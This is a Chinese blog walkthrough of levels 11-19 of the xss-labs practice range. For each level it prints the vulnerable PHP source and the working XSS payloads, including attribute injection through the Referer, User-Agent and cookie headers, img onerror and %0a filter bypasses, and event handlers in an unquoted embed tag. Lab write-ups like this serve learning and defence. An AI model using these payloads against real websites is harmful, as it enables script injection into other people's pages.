首页 > 编程学习 > xss挑战之旅11-19关

xss挑战之旅11-19关

发布时间:2022/11/15 22:19:34

文章目录

        • 前言
        • 第11关:referer
        • 第12关:User-Agent
        • 第13关:cookie
        • 第14关:exif xss
        • 第15关:ng-include
        • 第16关
        • 第17关
        • 第18关
        • 第19关:flash xss


前言

靶场:XSS挑战之旅
1-10关
11-20关


第11关:referer

  1. 查看网页源代码
    在这里插入图片描述

  2. 抓包
    在这里插入图片描述

  3. 修改,放包

    Referer: 111" onclick="alert(1)" type="text
    

    在这里插入图片描述

  4. 浏览器效果
    在这里插入图片描述

  5. 下一关
    在这里插入图片描述

  6. 源码

    <?php 
    	ini_set("display_errors", 0);
    	$str = $_GET["keyword"];
    	$str00 = $_GET["t_sort"];
    	$str11=$_SERVER['HTTP_REFERER'];  //可传入的参数,可能需要抓包才能修改
    	$str22=str_replace(">","",$str11);
    	$str33=str_replace("<","",$str22);
    	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    	<form id=search>
    	<input name="t_link"  value="'.'" type="hidden">
    	<input name="t_history"  value="'.'" type="hidden">
    	<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">  
    	<input name="t_ref"  value="'.$str33.'" type="hidden">  //注入点
    	</form>
    	</center>';
    ?>
    

第12关:User-Agent

  1. 看源码,跟user-agent有关
    在这里插入图片描述

  2. 抓包修改

    User-Agent: 111" onclick="alert(1)" type="
    

    在这里插入图片描述

  3. 查看网页源代码,点击输入框即可通关
    在这里插入图片描述

  4. 源码

    <?php 
    	......
    	$str11=$_SERVER['HTTP_USER_AGENT']; //注入点
    	$str22=str_replace(">","",$str11);
    	$str33=str_replace("<","",$str22);
    	......
    	<input name="t_ua"  value="'.$str33.'" type="hidden">  //能浏览器加载的地方
    	......
    ?>
    

第13关:cookie

  1. 看网页源代码,跟cookie有关
    在这里插入图片描述

  2. 浏览器新建cookie(或者抓包修改也可以)

    user: 111" onclick="alert(1)" type="
    

    在这里插入图片描述

  3. 刷新加载
    在这里插入图片描述

  4. 源码

    <?php 
    	setcookie("user", "call me maybe?", time()+3600);
    	......
    	$str11=$_COOKIE["user"]; //注入点
    	......
    	<input name="t_cook"  value="'.$str33.'" type="hidden">
    	......
    ?>
    

第14关:exif xss

  1. emmm,这关需要自己找环境复现。
    在这里插入图片描述

  2. exif xss介绍

    exif

    可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的文件格式,可以记录数码照片的属性信息和拍摄数据。

    exif xss 原理

    因为有些网站可以读取exif 信息,当传入一张含有恶意信息的图片的时候,就可以触发恶意代码。

  3. 制作恶意图片
    截图不行,无法写入
    在这里插入图片描述
    这张图片时手机拍的,可以写入
    在这里插入图片描述

  4. 可以读取exif信息的网址

    https://www.sojson.com/image/exif.html
    

    在这里插入图片描述

    https://exifdata.com/
    

    在这里插入图片描述

第15关:ng-include

  1. ng-include函数

    可以在html文件中包含外部的html文件

    特别注意:

    ng-include,如果单纯指定地址,必须要加引号'
    ng-include,加载外部html,script标签中的内容不执行
    ng-include,加载外部html,含有style标签样式可以识别

  2. 改变参数,观测效果
    在这里插入图片描述

  3. 文件包含进来了,使用',看特别注意1
    在这里插入图片描述
    在这里插入图片描述

  4. 为什么包含php文件也可以?

    应该是把php文件执行后生成的html文件包含进来的。

  5. 加入参数进行测试,有回显
    在这里插入图片描述

  6. 传入<script>alert(1)</script>进行测试,但是不执行,看特别注意2

    ?src='level1.php?name=<script>alert(1)</script>'
    

    在这里插入图片描述

  7. 传入<img src=1 onerror=alert(1)>进行测试,看特别注意3,进入下一关

    ?src='level1.php?name=<img src=1 onerror=alert(1)>'
    

    在这里插入图片描述

  8. 源码

    <?php 
    	ini_set("display_errors", 0);
    	$str = $_GET["src"];
    	echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
    ?>
    

第16关

  1. 源码

    <?php 
    	ini_set("display_errors", 0);
    	$str = strtolower($_GET["keyword"]);  //小写,注入点
    	$str2=str_replace("script","&nbsp;",$str);  //将script替换为&nbsp;  不使用script即可
    	$str3=str_replace(" ","&nbsp;",$str2);  //将空格替换为&nbsp;   用%0a代替
    	$str4=str_replace("/","&nbsp;",$str3);  //将/替换为&nbsp;   可以用单标签进行绕过
    	$str5=str_replace("	","&nbsp;",$str4);  //将空格替换为&nbsp;
    	echo "<center>".$str5."</center>";  //浏览器加载注入代码
    ?>
    
  2. 测试,观测浏览器加载效果和网页源代码
    在这里插入图片描述

  3. payload

    <img src=1 onerror=alert(1)>
    <img src=1 onclick=alert(1)>
    ----------------------------------
    用%0a替换空格
    <img%0asrc=1%0aonerror=alert(1)>
    <img%0asrc=1%0aonclick=alert(1)>
    
  4. onerror事件

    onerror 事件在加载外部文件(文档或图像)发生错误时触发。
    在img 这个标签无法正常执行的时候触发,所以这里的src 我们随便填一个不存在的地址,就可以触发后面的弹窗了。

  5. 下一关
    在这里插入图片描述

第17关

  1. 源码

    <body>
    	<h1 align=center>欢迎来到level17</h1>
    		<?php
    		ini_set("display_errors", 0);
    		echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
    		?>
    	<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
    </body>
    
  2. 测试
    在这里插入图片描述

  3. <embed>标签

    引入一个swf文件到浏览器端,并且它的src属性值没有添加引号,所以不用闭合,可以利用。

  4. 传入<script>alert(1)</script>进行测试
    在这里插入图片描述

  5. 传入onclick=alert(1)进行测试
    在这里插入图片描述

  6. 进行测试
    在这里插入图片描述

  7. onclick=alert(1)不行,用onmouseover=alert(1)
    在这里插入图片描述

  8. 下一关
    在这里插入图片描述

第18关

  1. 同17关,虽然不支持插件,但是不影响
    在这里插入图片描述

第19关:flash xss

  1. 供参考已复现成功的文章
    XSS-labs Level 19 Flash XSS
    XSS之xss-labs-level19

  2. 本人的尝试失败,以下经验仅供参考

  3. flash xss 原理

    flash有可以调用js的函数,也就是可以和js进行通信。使用flash的这些函数时,如果传入恶意XSS代码,并调用js进行解析,此时会触发XSS攻击。因此这些函数如果使用不当也是会造成xss的。
    常见的可触发xss的危险函数有:getURL、navigateToURL、ExternalInterface.call、htmlText、loadMovie等等。

  4. 测试
    在这里插入图片描述

  5. 不能用"在这里插入图片描述

  6. 直接参考别人的payload在这里插入图片描述

  7. 用IE浏览器打开,自动跳转成Microsoft edge,修改设置
    在这里插入图片描述

  8. IE浏览器访问,但是浏览器自动禁止了XSS
    在这里插入图片描述

  9. 没了

Copyright © 2010-2022 dgrt.cn 版权所有 |关于我们| 联系方式